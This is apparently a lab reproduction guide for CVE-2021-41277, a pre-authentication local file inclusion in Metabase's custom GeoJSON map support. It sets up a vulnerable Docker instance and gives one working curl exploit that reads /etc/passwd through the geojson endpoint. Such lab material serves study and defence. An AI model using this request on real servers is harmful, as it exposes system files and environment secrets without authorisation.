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Metabase Pre-Auth Local File Inclusion (CVE-2021-41277)

中文版本(Chinese version)

Metabase is an open source data analytics platform. In affected versions (x.40.0-x.40.4) a security issue has been discovered with the custom GeoJSON map (admin->settings->maps->custom maps->add a map) support, unauthenticated attackers can use this vulnerability to read local file (including environment variables).

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Environment Setup

Execute following command to start a Metabase server 0.40.4:

docker compose up -d

After the server is started, you can browse the http://your-ip:3000 to see the installation instructions like that:

Fill in your information, and skip the data source form.

Vulnerability Reproduce

Simplely use the CURL to exploit this flaw:

curl -v http://your-ip:3000/api/geojson?url=file:////etc/passwd

As you can see, /etc/passwd has been exposed successfully.